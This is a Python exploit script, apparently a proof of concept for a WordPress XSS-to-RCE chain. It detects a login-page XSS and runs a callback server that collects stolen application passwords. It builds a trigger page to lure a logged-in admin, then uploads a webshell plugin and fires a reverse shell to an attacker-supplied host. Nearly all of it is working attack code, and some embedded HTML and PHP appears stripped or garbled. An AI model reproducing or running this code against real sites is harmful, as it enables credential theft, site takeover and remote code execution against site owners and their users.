#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-64638 — XSS2Shell: WordPress Pre-Auth XSS → RCE (FIXED & DUAL-MODE) Modes: auto (default) — Detect XSS capability, fallback to direct creds xss — Full XSS chain: reflected XSS → steal app password → plugin upload → RCE direct — Skip XSS, use credentials directly for plugin upload → RCE Requirements: pip3 install requests XSS Mode (vulnerable WP only): Works on WordPress versions WITHOUT the Aug 2026 backport fix. Older Docker images (wordpress:6.5 ~ 6.8) should work. 6.9.6+ Docker images rebuilt after Aug 7, 2026 have the fix. Usage: # Direct mode (any WP version, need creds) python3 poc_fixed_v2.py -u admin -p pass123 http://target.com # XSS mode (vulnerable WP, need admin victim) python3 poc_fixed_v2.py --mode xss --lhost 1.2.3.4 http://target.com # Auto mode (recommended) python3 poc_fixed_v2.py -u admin -p pass123 --lhost 1.2.3.4 http://target.com """ import sys, os, re, json, time, socket, base64, random import zipfile, io, threading, http.server, socketserver, urllib.parse import argparse from urllib.parse import urljoin, urlparse try: import requests except ImportError: print("[!] pip3 install requests") sys.exit(1) TIMEOUT = 15 USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36", ] def rand_ua(): return random.choice(USER_AGENTS) def banner(): print(""" ╔══════════════════════════════════════════════╗ ║ CVE-2026-64638 XSS2Shell v2.0 ║ ║ WordPress Pre-Auth XSS → RCE Chain ║ ║ Fixed & Dual-Mode by linuxhackingid/ZSec ║ ╚══════════════════════════════════════════════╝ """) # ─── Callback Server (XSS mode) ─────────────────────────────── class CallbackHandler(http.server.SimpleHTTPRequestHandler): captured = None captured_user = None def log_message(self, f, *a): return def do_GET(self): q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if self.path.startswith("/collect"): # Capture password for key in ['password', 'c', 'app_password', 'token']: if key in q: CallbackHandler.captured = q[key][0] print(f"\n[!] APP PASSWORD CAPTURED: {CallbackHandler.captured}") break # Capture username if 'user_login' in q: CallbackHandler.captured_user = q['user_login'][0] print(f"[!] USERNAME: {CallbackHandler.captured_user}") # Fallback: capture full query if not CallbackHandler.captured and len(str(q)) > 20: CallbackHandler.captured = str(q) print(f"\n[!] DATA CAPTURED: {CallbackHandler.captured}") self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() self.wfile.write(b"OK") def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length).decode() if body: CallbackHandler.captured = body.strip() print(f"\n[!] APP PASSWORD (POST): {CallbackHandler.captured}") self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() self.wfile.write(b"OK") def start_callback(port): for _ in range(10): try: httpd = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler) t = threading.Thread(target=httpd.serve_forever, daemon=True) t.start() return httpd, port except OSError: port += 1 return None, None # ─── WP Fingerprinting ──────────────────────────────────────── def wp_version(url): for fn in [_ver_readme, _ver_meta, _ver_json]: try: v = fn(url) if v and re.match(r'^\d+\.\d+', v): return v except: continue return None def _ver_readme(url): r = requests.get(urljoin(url, "/readme.html"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()}) m = re.search(r'Version\s+([\d.]+)', r.text, re.I) return m.group(1) if m else None def _ver_meta(url): r = requests.get(url, timeout=TIMEOUT, headers={"User-Agent": rand_ua()}) m = re.search(r' Vulnerable: ... Patched: HTML stripped or < encoded """ login_url = urljoin(url, "/wp-login.php") marker = f"XSSTEST{random.randint(1000, 9999)}" # Test 1: Standard HTML (many filters) r1 = requests.post(login_url, data={ "log": f"{marker}", "pwd": "test", "wp-submit": "Log In" }, timeout=TIMEOUT, headers={"User-Agent": rand_ua()}) # Test 2: area tag with space (the real bypass) r2 = requests.post(login_url, data={ "log": f"< area id={marker} >", "pwd": "test", "wp-submit": "Log In" }, timeout=TIMEOUT, headers={"User-Agent": rand_ua()}) # Check Test 1 if f"{marker}" in r1.text: return True, "RAW_HTML" if f"< area id={marker} >" in r2.text or f'' in r2.text or f"id=\"{marker}\"" in r2.text: return True, "AREA_BYPASS" # Check for HTML encoding (patched) if f"<b>{marker}</b>" in r1.text: return False, "ESCAPED" # Tags stripped but text reflected if marker in r1.text: return False, "STRIPPED" return False, "NOT_REFLECTED" # ─── Plugin Generator ───────────────────────────────────────── def build_plugin_zip(slug="xss2shell"): """Build WP plugin ZIP with webshell + reverse shell capability""" code = """ $s, 1 => $s, 2 => $s ])); } exit; } """ buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z: z.writestr(f'{slug}/', '') z.writestr(f'{slug}/{slug}.php', code) return buf.getvalue() # ─── Direct Credential RCE ──────────────────────────────────── def direct_rce(target, username, password, lhost=None, lport=4444, slug="xss2shell"): """Login → upload plugin → RCE (skip XSS)""" s = requests.Session() s.headers.update({"User-Agent": rand_ua()}) print(f"\n [*] Logging in as: {username}") r = s.post(urljoin(target, "/wp-login.php"), data={ "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": urljoin(target, "/wp-admin/"), "testcookie": "1" }, timeout=TIMEOUT, allow_redirects=False) if 'wordpress_logged_in' not in str(s.cookies): err = re.search(r'Error:\s*([^<]+)', r.text) print(f" [-] Login FAILED: {err.group(1).strip() if err else 'unknown'}") return False print(f" [+] Login OK") # Get upload nonce r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT) m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text) if not m: print(" [-] Cannot get upload nonce (perms?)") return False nonce = m.group(1) # Upload with retry for attempt in range(3): cur = slug if attempt == 0 else f"{slug}{attempt}" print(f" [*] Uploading plugin: {cur}") zip_data = build_plugin_zip(cur) r = s.post(urljoin(target, "/wp-admin/update.php?action=upload-plugin"), files={'pluginzip': (f'{cur}.zip', zip_data, 'application/zip')}, data={'_wpnonce': nonce, 'install-plugin-submit': 'Install Now'}, timeout=TIMEOUT) if 'already' in r.text.lower(): print(f" [!] {cur} exists, retrying...") r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT) m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text) if m: nonce = m.group(1) continue if 'successfully' in r.text.lower() or 'installed' in r.text.lower(): slug = cur print(f" [+] Plugin installed: {slug}") break # Check error err = re.search(r']*>([^<]+)

', r.text) if err: print(f" [-] Upload error: {err.group(1).strip()}") return False print(" [!] Upload unclear, continuing...") slug = cur break else: print(" [-] All attempts failed. Use --slug ") return False # Test webshell ws_url = f"{target}/wp-content/plugins/{slug}/{slug}.php" r = s.get(f"{ws_url}?cmd=id", timeout=TIMEOUT) if 'uid=' not in r.text: print(f" [-] Webshell not responding: {ws_url}") return False print(f""" ╔══════════════════════════════════════════════╗ ║ [!] RCE CONFIRMED — {r.text.strip()[:40]} ╠══════════════════════════════════════════════╣ ║ WEBSHELL: ║ curl '{ws_url}' --data-urlencode 'cmd=COMMAND' ║ ║ REVERSE SHELL: ║ curl '{ws_url}?rev=IP:PORT' ╚══════════════════════════════════════════════╝""") # Trigger reverse shell if lhost: print(f"\n [*] Triggering reverse shell → {lhost}:{lport}") try: r = s.get(f"{ws_url}?rev={lhost}:{lport}", timeout=5) msg = r.text.strip()[:100] if r.status_code == 500 else f"HTTP {r.status_code}" print(f" [*] {msg}") except requests.exceptions.Timeout: print(" [+] Connection hanging (shell likely connected!)") except Exception as e: print(f" [*] {e}") print(f" [!] Listener: nc -lvnp {lport}") return True # ─── XSS Chain RCE ──────────────────────────────────────────── def xss_chain(target, lhost, lport=4444, slug="xss2shell", callback_port=9090): """ Full XSS chain: 1. Start callback server to capture app password 2. Generate trigger page that exploits XSS to steal app password 3. Wait for admin victim to visit trigger page 4. Use captured app password for plugin upload → RCE """ print(f"\n [*] XSS Chain Mode — {target}") # Start callback server httpd, cb_port = start_callback(callback_port) if not httpd: print(" [-] Cannot start callback server") return False cb_url = f"http://{lhost}:{cb_port}/collect" print(f" [+] Callback server: {cb_url}") # Generate XSS trigger page xss_payload = '< area id=ajaxurl shape=default href="{}" >'.format(cb_url, cb_url) trigger_html = """ XSS2Shell Demo

CVE-2026-64638 — XSS2Shell

Step 1: XSS Payload (auto-fired)
DOM Clobbering via <area id=ajaxurl>
Step 2: Click button to authorize app password Open Authorize Page
Step 3: Click "Yes, I approve of this connection"
App password auto-sent to callback server
""" trigger_html = trigger_html.replace('TARGET_PLACEHOLDER', target) trigger_html = trigger_html.replace('XSS_PLACEHOLDER', xss_payload) trigger_html = trigger_html.replace('CB_PLACEHOLDER', cb_url) filename = f"trigger_{urlparse(target).hostname}.html" with open(filename, "w") as f: f.write(trigger_html) print(f" [+] Trigger page: {filename}") # Wait for victim print(f""" ╔══════════════════════════════════════════════╗ ║ XSS TRIGGER READY ║ ╠══════════════════════════════════════════════╣ ║ 1. Host trigger page & send to admin victim ║ 2. Victim must be LOGGED IN to WordPress ║ 3. App password will be auto-captured ║ ║ Quick test (local): ║ cd {os.getcwd()} ║ python3 -m http.server 8000 ║ Visit: http://{lhost}:8000/{filename} ╚══════════════════════════════════════════════╝ [*] Waiting for victim (Ctrl+C to stop)...""") try: for _ in range(300): # 5 min timeout time.sleep(1) if CallbackHandler.captured: break except KeyboardInterrupt: print("\n [!] Interrupted") httpd.shutdown() return False if not CallbackHandler.captured: print("\n [-] Timeout: no app password captured") httpd.shutdown() return False app_pw = CallbackHandler.captured.strip() app_user = CallbackHandler.captured_user if CallbackHandler.captured_user else "admin" httpd.shutdown() print(f" [+] App password: {app_pw[:50]}...") print(f" [+] Username: {app_user}") # Use app password for RCE via REST API (NOT wp-admin) print(f"\n [*] Using app password for REST API plugin activation...") session = requests.Session() session.headers.update({"User-Agent": rand_ua()}) # Try captured username with app password for Basic Auth (REST API only) found_user = None for uname in [app_user, "admin", "administrator", "ZSecurity"]: session.auth = (uname, app_pw.replace(' ', '')) r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT) if r.status_code == 200: found_user = uname print(f" [+] REST API auth OK as: {uname}") break # Also try with spaces session.auth = (uname, app_pw) r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT) if r.status_code == 200: found_user = uname print(f" [+] REST API auth OK as: {uname} (with spaces)") break if not found_user: print(" [-] REST API auth failed with captured password") return False # List plugins to find our webshell r = session.get(urljoin(target, "/wp-json/wp/v2/plugins"), timeout=TIMEOUT) plugins = r.json() if r.status_code == 200 else [] # Find our pre-staged webshell plugin target_plugin = None for p in plugins: plugin_slug = p.get('plugin', '') if slug in plugin_slug or 'xss2shell' in plugin_slug: target_plugin = plugin_slug print(f" [+] Found webshell plugin: {plugin_slug} (status: {p.get('status')})") break if not target_plugin: # No pre-staged plugin - try to create one via REST API print(" [!] No pre-staged webshell plugin found.") print(" [*] Attempting REST API plugin install...") # Try POST to create/install plugin (WP.org only, but try anyway) r = session.post(urljoin(target, "/wp-json/wp/v2/plugins"), json={"slug": slug, "status": "inactive"}, timeout=TIMEOUT) if r.status_code in [200, 201]: target_plugin = f"{slug}/{slug}" print(f" [+] Plugin created: {target_plugin}") else: # Try to find ANY installed plugin we can hijack if plugins: target_plugin = plugins[0].get('plugin', '') print(f" [!] No webshell found. First run direct mode to stage plugin.") print(f" [*] Try: python3 poc_fixed_v2.py -u ZSecurity -p '***' --slug {slug} {target}") return False # Activate the plugin encoded_plugin = urllib.parse.quote(target_plugin, safe='/') r = session.post( urljoin(target, f"/wp-json/wp/v2/plugins/{encoded_plugin}"), json={"status": "active"}, timeout=TIMEOUT) if r.status_code == 200: new_status = r.json().get('status', '?') print(f" [+] Plugin activated: {target_plugin} → {new_status}") else: print(f" [!] Activation: HTTP {r.status_code} — {r.text[:100]}") # Test webshell (append .php to plugin path from REST API) ws_path = f"/wp-content/plugins/{target_plugin}.php" ws_url = urljoin(target, f"{ws_path}?cmd=id") r = requests.get(ws_url, timeout=TIMEOUT) if 'uid=' in r.text: print(f""" ╔══════════════════════════════════════════════╗ ║ [!] XSS2Shell CHAIN COMPLETE ║ ║ [!] RCE: {r.text.strip()[:40]} ╠══════════════════════════════════════════════╣ ║ WEBSHELL: ║ curl '{ws_url}' --data-urlencode 'cmd=id' ╚══════════════════════════════════════════════╝""") return True else: print(f" [-] Webshell check failed: {r.text[:100]}") print(f" [*] Try manually: curl '{ws_url}'") return False # ─── Main ───────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser(description="CVE-2026-64638 XSS2Shell v2.0") parser.add_argument("target", help="Target URL") parser.add_argument("--mode", choices=["auto", "xss", "direct"], default="auto", help="Exploit mode (default: auto)") parser.add_argument("-u", "--username", default="", help="WP username (direct/fallback)") parser.add_argument("-p", "--password", default="", help="WP password (direct/fallback)") parser.add_argument("--lhost", default="", help="Attacker IP for reverse shell / callback") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port") parser.add_argument("--slug", default="xss2shell", help="Plugin slug name") parser.add_argument("--callback-port", type=int, default=9090, help="Callback server port (default: 9090)") parser.add_argument("--no-rev", action="store_true", help="Skip reverse shell trigger") args = parser.parse_args() banner() target = args.target.rstrip('/') if not target.startswith("http"): target = "http://" + target host = urlparse(target).hostname # Auto-detect attacker IP lhost = args.lhost if not lhost: try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((host, 1)) lhost = s.getsockname()[0] s.close() except: lhost = "127.0.0.1" rev_lhost = lhost if not args.no_rev else None print(f" Target : {target}") print(f" Attacker: {lhost}") if args.username: print(f" Creds : {args.username}:******") # Fingerprint ver = wp_version(target) if ver: print(f" WP Ver : {ver}") else: print(" WP Ver : unknown") # XSS detection xss_ok, xss_detail = detect_xss(target) print(f" XSS : {'VULNERABLE' if xss_ok else 'PATCHED'} ({xss_detail})") # Determine mode mode = args.mode if mode == "auto": if xss_ok: mode = "xss" print("\n [AUTO] XSS works → using XSS chain mode") elif args.username and args.password: mode = "direct" print("\n [AUTO] XSS patched → falling back to direct credential mode") else: print("\n [-] XSS patched and no credentials provided.") print(" [!] Options:") print(" --mode xss --lhost IP (requires vulnerable WP)") print(" -u USER -p PASS (direct credential mode)") return print(f"\n {'='*50}") print(f" MODE: {mode.upper()}") print(f" {'='*50}") if mode == "direct": if not args.username or not args.password: print(" [-] Direct mode requires --username and --password") return direct_rce(target, args.username, args.password, rev_lhost, args.lport, args.slug) elif mode == "xss": if not xss_ok: print(" [-] XSS not detected on this target. Use a vulnerable WP version.") print(" [!] Try Docker: wordpress:6.7 (pre-backport image)") return xss_chain(target, lhost, args.lport, args.slug, args.callback_port) if __name__ == "__main__": main()